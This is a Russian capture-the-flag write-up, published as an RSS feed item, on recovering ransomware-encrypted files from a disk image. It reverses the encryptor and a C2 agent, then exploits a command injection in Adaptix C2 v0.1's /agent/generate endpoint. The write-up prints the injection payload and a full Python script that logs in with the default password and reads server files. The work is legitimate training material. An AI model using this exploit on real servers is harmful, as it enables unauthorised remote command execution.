<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Михаил</title><generator>teletype.in</generator><description><![CDATA[Михаил]]></description><image><url>https://img3.teletype.in/files/60/78/607875a9-032e-460b-ad7b-c5f31ba6ef0d.png</url><title>Михаил</title><link>https://teletype.in/@mixinspace</link></image><link>https://teletype.in/@mixinspace?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/mixinspace?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/mixinspace?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sat, 23 May 2026 14:11:24 GMT</pubDate><lastBuildDate>Sat, 23 May 2026 14:11:24 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@mixinspace/hack-na-lavandovom</guid><link>https://teletype.in/@mixinspace/hack-na-lavandovom?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace</link><comments>https://teletype.in/@mixinspace/hack-na-lavandovom?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace#comments</comments><dc:creator>mixinspace</dc:creator><title>Хак на лавандовом</title><pubDate>Wed, 29 Apr 2026 03:39:20 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/b9/d5/b9d57f7b-02b0-4bf7-8185-7cbf4bab5d3d.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/13/04/1304b40c-aa25-41d6-8e41-f320cb3cae5d.png"></img>Сложность: Hard
Категории: Forensics, Linux, OSINT, Web
Автор задания: Никита Ильин (@yanik1ta), SPbCTF]]></description><content:encoded><![CDATA[
  <h3 id="Tp8l">АльфаЦТФ 2026</h3>
  <p id="21lb">Сложность: Hard<br />Категории: Forensics, Linux, OSINT, Web<br />Автор задания: Никита Ильин (<a href="https://t.me/yanik1ta" target="_blank">@yanik1ta</a>), <a href="https://t.me/spbctf" target="_blank">SPbCTF</a></p>
  <p id="yLhO">Описание:</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="D5d6">Сегодня с утра вы, как обычно, зашли в любимую спешалти-кофейню Northwind Coffee Roasters за единственным в нашем городе рафом на лавандовом. Но в эту субботу что-то не так: у стойки стоит очередь, не движется. Бариста, обычно улыбчивая и быстрая, смотрит в экран кассы с выражением человека, который только что увидел, как его машина уезжает без него.</p>
    <p id="AiSz">Оказалось, какой-то злодей зашифровал их сервер с кассой и всей бухгалтерией. Так дело не пойдёт, без кофе вы сегодня не уйдёте! Вы расталкиваете очередь и вызываетесь всё исправить и расшифровать.</p>
    <p id="v0VI">Образ диска: <a href="https://alfactf.ru/files/CAFE_DISK_IMAGE.7z" target="_blank"><strong>CAFE_DISK_IMAGE.7z</strong></a></p>
  </section>
  <h2 id="RMa2">Шаг 1 - Первичный анализ</h2>
  <p id="4DSC">Таск встречает нас двумя файлами образа диска в формате EnCase / Expert Witness Format (EWF). Откроем их в AutoPsy (можно и просто замонтировать в линукс) для первичного анализа файлов.</p>
  <p id="0FpV">Сразу можно заметить много подозрительных файлов с расширением <code>GSenc</code>, предположительно зашифрованных. Все они имеют одинаковую структуру и сигнатуру <code>HLF1</code>. Дата и время шифрования файлов - <code>2026-03-22 20:44:43 MSK</code>.</p>
  <figure id="sJ7R" class="m_retina">
    <img src="https://img3.teletype.in/files/28/2b/282b986d-f5d7-4f10-ac16-3cb74bf0c4a0.png" width="684.5" />
    <figcaption>Пример зашифрованного файла</figcaption>
  </figure>
  <p id="GxN2">Поиск в интернете по сигнатуре файла, расширению по известным шифровальщикам результатов не дал, поэтому будем искать артефакты на хосте. </p>
  <p id="CZOt">По пути /home/user/Documents/NorthwindCoffee/accounting/ был найден flag.txt.GSenc, предположительно флагстор таска.</p>
  <p id="rs11">bash_history почищен, в других логах артефактов запуска подозрительных файлов также не обнаружено, но в <code>/var/tmp</code> были обнаружены два файла:</p>
  <figure id="vJpq" class="m_original">
    <img src="https://img3.teletype.in/files/61/fe/61fe15ab-a9b2-4f5e-973b-0ecd2058ef9a.png" width="579" />
    <figcaption>Подозрительные файлы в /var/tmp</figcaption>
  </figure>
  <p id="ONHp">Зареверсим их чтобы узнать, что они делают.</p>
  <h2 id="qCmX">Шаг 2. Реверс вредоносов</h2>
  <p id="2jYW">Начнем с GS-encrypt, судя по названию это шифровальщик, который и энкриптнул все данные. Так как наша основная цель - восстановить flag.txt, то нам надо понять как шифруются файлы и как их дешифровать.</p>
  <p id="vuis">GS-encrypt - бинарник, написанный на GO.</p>
  <p id="20FD">Судя по флагам программы, это действительно наш шифратор.</p>
  <figure id="60Lq" class="m_column">
    <img src="https://img1.teletype.in/files/80/ad/80adab9d-de57-488d-85ea-c708d6f61497.png" width="1570" />
    <figcaption>флаги программы</figcaption>
  </figure>
  <p id="NO1Y">В нем используется RSA. В функции main_loadPublicKey у нас в память записывается строчка с публичным ключом RSA для шифрования.</p>
  <figure id="cmzb" class="m_column">
    <img src="https://img4.teletype.in/files/b0/7a/b07ae833-c24c-4448-9bc4-391ad0c87097.png" width="2094" />
    <figcaption>Публичный ключ RSA</figcaption>
  </figure>
  <p id="7PVZ">Cхема шифрования следующая:</p>
  <p id="Rnwc">Чтобы зашифровать файл надо:<br /><br />1. Использовать 32 случайных байта как AES_key для AES-256-GCM<br />2. Сгенерировать случайный nonce длиной gcm.NonceSize()<br />3. Зашифровать содержимое файла через AES-256-GCM<br />4. Зашифровать AES_key публичным RSA-ключом через RSA-OAEP-SHA256<br />5. Сформировать бинарный контейнер:</p>
  <p id="cV7l">Формат выходного файла такой:</p>
  <p id="a6kx">offset				size		field<br />0x00				4 		magic<br />0x04				1 			version<br />0x05				1 			key algorithm id<br />0x06 				1 			data algorithm id<br />0x07 				2 		wrapped key length, uint16 big-endian<br />0x09 				2 		nonce length, uint16 big-endian<br />0x0B 				4 		ciphertext length, uint32 big-endian<br />0x0F 				N 		RSA-OAEP-SHA256 encrypted AES key<br />0x0F+N 			M 		AES-GCM nonce<br />0x0F+N+M 	K 		AES-GCM ciphertext + GCM auth tag</p>
  <p id="iw7X">Для расшифровки нужно:</p>
  <p id="nenD">1. Прочитать первые 15 байт заголовка<br />2. Проверить magic/version/algo ids<br />3. Прочитать keyenc_len, nonce_len, ciphertext_len как big-endian<br />4. Извлечь keyenc, nonce, ciphertext<br />5. Расшифровать keyenc приватным RSA-ключом через RSA-OAEP-SHA256<br />6. Получить AES_key<br />7. Расшифровать ciphertext через AES-256-GCM с nonce и AAD=nil</p>
  <p id="gbhK">Но в GS-encrypt приватного ключа RSA не найдено, идем дальше</p>
  <p id="KWPZ"></p>
  <p id="naJp">agent.bin - более объемный, выполняет роль c2 агента для удаленного доступа атакующего к системе. Самое интересное, что мы можем достать отсюда - IP адрес или домен C2 сервера.</p>
  <p id="VvDq">в main_main вызывается net_Dial</p>
  <figure id="BCyR" class="m_column">
    <img src="https://img3.teletype.in/files/af/5a/af5a70c1-9e43-4b2b-b0cb-479d6fe9f683.png" width="957" />
  </figure>
  <p id="aYQw">которой в параметры передается ip/domain сервера, который хранится в qword_A23888.</p>
  <p id="LwGH">До этого у нас вызывается gopher_utils_DecryptData, где первые 16 байт v0 - ключ, остальное данные.</p>
  <figure id="VkpG" class="m_column">
    <img src="https://img2.teletype.in/files/58/fd/58fd58f5-733b-424f-930f-8b8d3ddc975f.png" width="1562" />
  </figure>
  <p id="yJls">который после дешифровки кладет данные в Profile, Profile.Adresses которого потом как раз перемещается в qword_A23888</p>
  <p id="oL6E">Данные которые дешифруются лежат в off_A17B30 -&gt; off_A17B50 -&gt; unk_9F59A0 <br /></p>
  <figure id="qmiF" class="m_column">
    <img src="https://img3.teletype.in/files/2b/f2/2bf2f969-8481-4d6c-8585-d464c1c1417f.png" width="1440" />
  </figure>
  <p id="hKeK">Первые 16 байт - ключ, оставшиеся - данные. Общее количество данных - 0xA7 (лежало в off_A17B50)</p>
  <p id="Kr2I">Чтобы расшифровать, используем обычный AES-GCM, использующийся в gopher_utils_DecryptData. Первые 12 байт после key - nonce</p>
  <p id="xHeG">key (16 bytes):<br />51 D9 74 9D F3 F6 42 D1 CC E3 44 38 82 D3 E6 4E</p>
  <p id="EmUE">nonce:<br /> 7E 11 7D 14 AF D7 3F 92 06 9E F2 FC</p>
  <p id="gcHK">encrypted+tag:<br /> 6B E7 18 70 78 BC 17 09 E8 64 20 74 71 E0 C5 19 8C 64 93 DC<br /> 76 58 95 C4 6C 73 71 F7 DB 65 72 1D 6E 88 1D 13 6B C7 1C AB<br /> 26 8A 74 D9 EA A9 EF 2A 40 B8 69 7F DA C0 A1 19 D8 D0 73 81<br /> 36 48 4A C5 31 98 AE 16 87 DA 4F 50 BB BD BE C6 5B 55 7B F0<br /> F4 D6 41 AE C0 D7 7C F8 B9 DA 04 03 09 62 91 0F 49 33 73 B7<br /> AE A9 E9 E9 B8 0C 39 51 A0 B3 7A 8D 5C 56 41 05 24 3E 2F 5D<br /> 6D 06 FB 4D A5 5A A7 52 C2 CA 9B 00 79 53 0F 4E 31 5E E5</p>
  <p id="S3HE">Расшифровав и распарсив msgpack, получаем </p>
  <pre id="vyj7">{
  &quot;type&quot;: 2421052563,
  &quot;addresses&quot;: [
    &quot;cc.gigashad.xyz:4444&quot;
  ],
  &quot;banner_size&quot;: 17,
  &quot;conn_timeout&quot;: 10,
  &quot;conn_count&quot;: 1000000000,
  &quot;use_ssl&quot;: false,
  &quot;ssl_cert&quot;: null,
  &quot;ssl_key&quot;: null,
  &quot;ca_cert&quot;: null
}</pre>
  <p id="ORtA">Нашли домен и порт c2 сервера, будем копать туда.</p>
  <h2 id="wd8R">Шаг 3. Gigashad</h2>
  <p id="Gjo4">На cc.gigashad.xyz уже ничего не висит, но на основном домене gigashad.xyz есть сайт, на котором есть ссылка на телеграм-канал атакующего.</p>
  <figure id="0zWN" class="m_column">
    <img src="https://img4.teletype.in/files/fd/ea/fdea01ce-41ce-4a66-ae8f-7b07d5b35703.png" width="1520" />
  </figure>
  <p id="gNUV">В телеграм канале несколько постов, в том числе пост о взломе и шифровании хоста, образ которого у нас есть, несколько постов для наполнения, но самый примечательный из всех постов - туториал по установке Adaptix C2 сервера.</p>
  <figure id="ILCz" class="m_column">
    <img src="https://img1.teletype.in/files/03/2e/032e824b-6842-45bd-b7a5-12324a1e3d04.png" width="693" />
  </figure>
  <p id="ftvg">В этом видео он &quot;случайно&quot; сливает важную информацию:</p>
  <p id="F3Ej">Содержимое корневой директории</p>
  <figure id="Xqaa" class="m_column">
    <img src="https://img3.teletype.in/files/e9/73/e9730212-2202-4e52-8176-475b3afeae5d.png" width="2269" />
  </figure>
  <p id="dRKd">Дату съемки видео</p>
  <figure id="dlsl" class="m_original">
    <img src="https://img1.teletype.in/files/08/16/081648bb-9a33-4ca0-a3ae-0e9ead7bfd48.png" width="162" />
  </figure>
  <p id="zFRY">Запуск сервера на стандартном профиле</p>
  <figure id="dj6K" class="m_column">
    <img src="https://img4.teletype.in/files/7a/a3/7aa3eef6-3b58-4014-a1a1-a92d20b6ba97.png" width="1554" />
  </figure>
  <p id="HJuo">Пароль из 4 символов и имя аккаунта</p>
  <figure id="k0jj" class="m_original">
    <img src="https://img2.teletype.in/files/d3/e0/d3e0f9b5-6c92-42b7-a2b7-74b5f2d7fb24.png" width="739" />
  </figure>
  <p id="nKXr">Все для подключения к серверу</p>
  <figure id="264w" class="m_original">
    <img src="https://img3.teletype.in/files/69/13/691324a8-0819-427f-8706-995356fa03af.png" width="721" />
  </figure>
  <h2 id="2wnw">Шаг 4. Adaptix C2 0.1</h2>
  <p id="RLrf">Если мы перейдем по ссылке (которая тоже была в видео) на гитхаб Adaptix C2 сервера, то увидим, что 26.01.2025 вышла версия Adaptix C2 0.1</p>
  <p id="Nf3L">Склоним, переключимся на этот коммит, забилдим и попытаемся подключиться к серверу:</p>
  <figure id="etxI" class="m_original">
    <img src="https://img4.teletype.in/files/33/b1/33b1b2b6-9fe6-47d9-a435-07261ca6f0e1.png" width="737" />
  </figure>
  <p id="U03N">Пароль по умолчанию - pass</p>
  <p id="h7n0">У нас действительно получилось подключиться, но клиент пустой, ничего нету, кроме попыток что-то сделать другими участниками.</p>
  <figure id="i6gR" class="m_column">
    <img src="https://img4.teletype.in/files/70/a8/70a8e986-fec7-4324-ad7a-71ea0e368b53.png" width="1237" />
  </figure>
  <p id="5nm8">Так как мы знаем что Adaptix C2 сервер запущен на хосте, где лежат DECRYPTION_KEYS, и единственный способ достучаться до этого хоста - через этот сервер, возникло предположение что в версии 0.1 существует некое RCE или задуманный функционал, позволяющий читать файлы на хосте.</p>
  <p id="52BJ">Изучив исходный код сервера Adaptix v0.1 была найдена уязвимость типа command injection в ручке /agent/generate.</p>
  <p id="ONjM">Изначально эта ручка должна была просто создавать бинарь под нужный listener, и отдать payload клиенту. Ручкой ожидался пейлоад типа:</p>
  <pre id="V07y">{
  &quot;os&quot;: &quot;windows&quot;,
  &quot;arch&quot;: &quot;x64&quot;,
  &quot;format&quot;: &quot;Exe&quot;,
  &quot;sleep&quot;: &quot;4s&quot;,
  &quot;jitter&quot;: 0,
  &quot;svcname&quot;: &quot;AgentService&quot;
}</pre>
  <p id="3vuS">Но поле svcname небезопасно подставлялось в команду, которая вызвается через exec.Command.</p>
  <p id="iAW0">pl_agent.go</p>
  <pre id="s2we" data-lang="go">agentProfileSize := len(agentProfile) / 4
cmdConfig = fmt.Sprintf(&quot;%s %s %s/config.cpp -DSERVICE_NAME=&#x27;\&quot;%s\&quot;&#x27; -DPROFILE=&#x27;\&quot;%s\&quot;&#x27; -DPROFILE_SIZE=%d -o %s/config.o&quot;,
    Compiler, CFlag, ObjectDir, generateConfig.SvcName, string(agentProfile), agentProfileSize, tempDir)

runnerCmdConfig := exec.Command(&quot;sh&quot;, &quot;-c&quot;, cmdConfig)
runnerCmdConfig.Dir = currentDir
runnerCmdConfig.Stdout = &amp;stdout
runnerCmdConfig.Stderr = &amp;stderr
err = runnerCmdConfig.Run()
if err != nil {
    os.RemoveAll(tempDir)
    return nil, &quot;&quot;, errors.New(string(stderr.Bytes()))
}</pre>
  <p id="EO6D">svcname подставлялось в команду вместо <code>-DSERVICE_NAME=&#x27;\&quot;%s\&quot;&#x27;</code>, и если в svcname подать пейлоад типа <code>x&#x27; ; ({cmd}) &gt;&amp;2; exit 1; #</code>, то agent/generate вместо бинаря возвращал вывод команды cmd.</p>
  <p id="fLSk">Перед отправлением этой команды, необходимо создать listener на /listener/create.</p>
  <p id="3SKn">Это полный RCE на хосте атакующего, по факту можно было сделать все что угодно, но так как нам необходимы только ключи для нашего образа, вытащим их:</p>
  <pre id="3L5M" data-lang="python">import base64
import json
import secrets

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = &quot;https://lab.gigashad.xyz:4321/endpoint&quot;
DIR = &quot;/DECRYPTION_KEYS/Northwind_Coffee_Roasters&quot;

r = requests.post(f&quot;{URL}/login&quot;, json={&quot;username&quot;: &quot;gigashad&quot;, &quot;password&quot;: &quot;pass&quot;}, verify=False, timeout=15)
token = r.json()[&quot;access_token&quot;]
headers = {&quot;Authorization&quot;: f&quot;Bearer {token}&quot;, &quot;Content-Type&quot;: &quot;application/json&quot;}

name = &quot;L&quot; + secrets.token_hex(4)
listener = {
    &quot;host_bind&quot;: &quot;0.0.0.0&quot;,
    &quot;port_bind&quot;: &quot;9999&quot;,
    &quot;callback_port&quot;: &quot;9999&quot;,
    &quot;callback_servers&quot;: &quot;lab.gigashad.xyz&quot;,
    &quot;urn&quot;: &quot;/beacon.php&quot;,
    &quot;http_method&quot;: &quot;POST&quot;,
    &quot;hb_header&quot;: &quot;X-Beacon-Id&quot;,
    &quot;user_agent&quot;: &quot;Mozilla/5.0&quot;,
    &quot;host_header&quot;: &quot;&quot;,
    &quot;request_headers&quot;: &quot;&quot;,
    &quot;x-forwarded-for&quot;: False,
    &quot;page-error&quot;: &quot;404&quot;,
    &quot;page-payload&quot;: &quot;OK &lt;&lt;&lt;PAYLOAD_DATA&gt;&gt;&gt; DONE&quot;,
    &quot;server_headers&quot;: &quot;&quot;,
}
requests.post(
    f&quot;{URL}/listener/create&quot;,
    headers=headers,
    json={&quot;name&quot;: name, &quot;type&quot;: &quot;external/http/BeaconHTTP&quot;, &quot;config&quot;: json.dumps(listener)},
    verify=False,
    timeout=20,
)

svc = f&quot;x&#x27; ; (cat {DIR}/* | base64 -w0) &gt;&amp;2; exit 1; #&quot;
agent = {
    &quot;listener_name&quot;: name,
    &quot;listener_type&quot;: &quot;external/http/BeaconHTTP&quot;,
    &quot;agent&quot;: &quot;beacon&quot;,
    &quot;config&quot;: json.dumps({&quot;os&quot;: &quot;windows&quot;, &quot;arch&quot;: &quot;x64&quot;, &quot;format&quot;: &quot;Exe&quot;, &quot;sleep&quot;: &quot;1s&quot;, &quot;jitter&quot;: 0, &quot;svcname&quot;: svc}),
}
r = requests.post(f&quot;{URL}/agent/generate&quot;, headers=headers, json=agent, verify=False, timeout=60)
data = [x.strip() for x in r.json()[&quot;message&quot;].splitlines() if x.strip()][-1]

open(&quot;recovered_keys.bin&quot;, &quot;wb&quot;).write(base64.b64decode(data))
print(&quot;saved recovered_keys.bin&quot;)</pre>
  <p id="vUzK">В recovered_keys.bin будет содержание и приватного, и публичного ключа для расшифровки GSenc файлов.</p>
  <h2 id="nT8P">Шаг 5. Финал</h2>
  <p id="jIpp">Осталось лишь написать дешифатор для расшифровки файлов из образа:</p>
  <pre id="sFW8" data-lang="python">import argparse
import re
from pathlib import Path

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA


def load_private_key(path: Path):
    data = path.read_text(&quot;utf-8&quot;, errors=&quot;ignore&quot;)
    m = re.search(
        r&quot;-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----&quot;,
        data,
        re.S,
    )
    if not m:
        raise ValueError(&quot;private RSA key not found&quot;)
    return RSA.import_key(m.group(0))


def parse_gsenc(data: bytes):
    if len(data) &lt; 15:
        raise ValueError(&quot;file too short&quot;)
    if data[:4] != b&quot;HFL1&quot;:
        raise ValueError(&quot;bad magic&quot;)

    version = data[4]
    key_algo = data[5]
    data_algo = data[6]
    key_len = int.from_bytes(data[7:9], &quot;big&quot;)
    nonce_len = int.from_bytes(data[9:11], &quot;big&quot;)
    ct_len = int.from_bytes(data[11:15], &quot;big&quot;)

    if version != 1 or key_algo != 1 or data_algo != 1:
        raise ValueError(f&quot;unsupported header: version={version} key_algo={key_algo} data_algo={data_algo}&quot;)

    pos = 15
    keyenc = data[pos:pos + key_len]
    pos += key_len
    nonce = data[pos:pos + nonce_len]
    pos += nonce_len
    ciphertext = data[pos:pos + ct_len]

    if len(keyenc) != key_len or len(nonce) != nonce_len or len(ciphertext) != ct_len:
        raise ValueError(&quot;truncated container&quot;)
    return keyenc, nonce, ciphertext


def decrypt_file(enc_path: Path, key_path: Path, out_path: Path):
    keyenc, nonce, ciphertext = parse_gsenc(enc_path.read_bytes())
    priv = load_private_key(key_path)
    aes_key = PKCS1_OAEP.new(priv, hashAlgo=SHA256).decrypt(keyenc)
    plain = AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ciphertext[:-16], ciphertext[-16:])
    out_path.write_bytes(plain)
    return plain


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&quot;enc&quot;, nargs=&quot;?&quot;, default=&quot;flag.txt.GSenc&quot;)
    ap.add_argument(&quot;-k&quot;, &quot;--key&quot;, default=&quot;recovered_keys.bin&quot;)
    ap.add_argument(&quot;-o&quot;, &quot;--out&quot;)
    a = ap.parse_args()

    enc = Path(a.enc)
    out = Path(a.out or enc.with_suffix(&quot;&quot;))
    plain = decrypt_file(enc, Path(a.key), out)
    print(f&quot;saved {out}&quot;)
    try:
        print(plain.decode())
    except UnicodeDecodeError:
        print(plain)


if __name__ == &quot;__main__&quot;:
    main()</pre>
  <p id="l2bP">После расшифровки flag.txt.GSenc, получили флаг:</p>
  <figure id="P1nx" class="m_original">
    <img src="https://img1.teletype.in/files/49/10/4910c05d-779e-4106-bacf-6cb7ca085584.png" width="757" />
  </figure>

]]></content:encoded></item></channel></rss>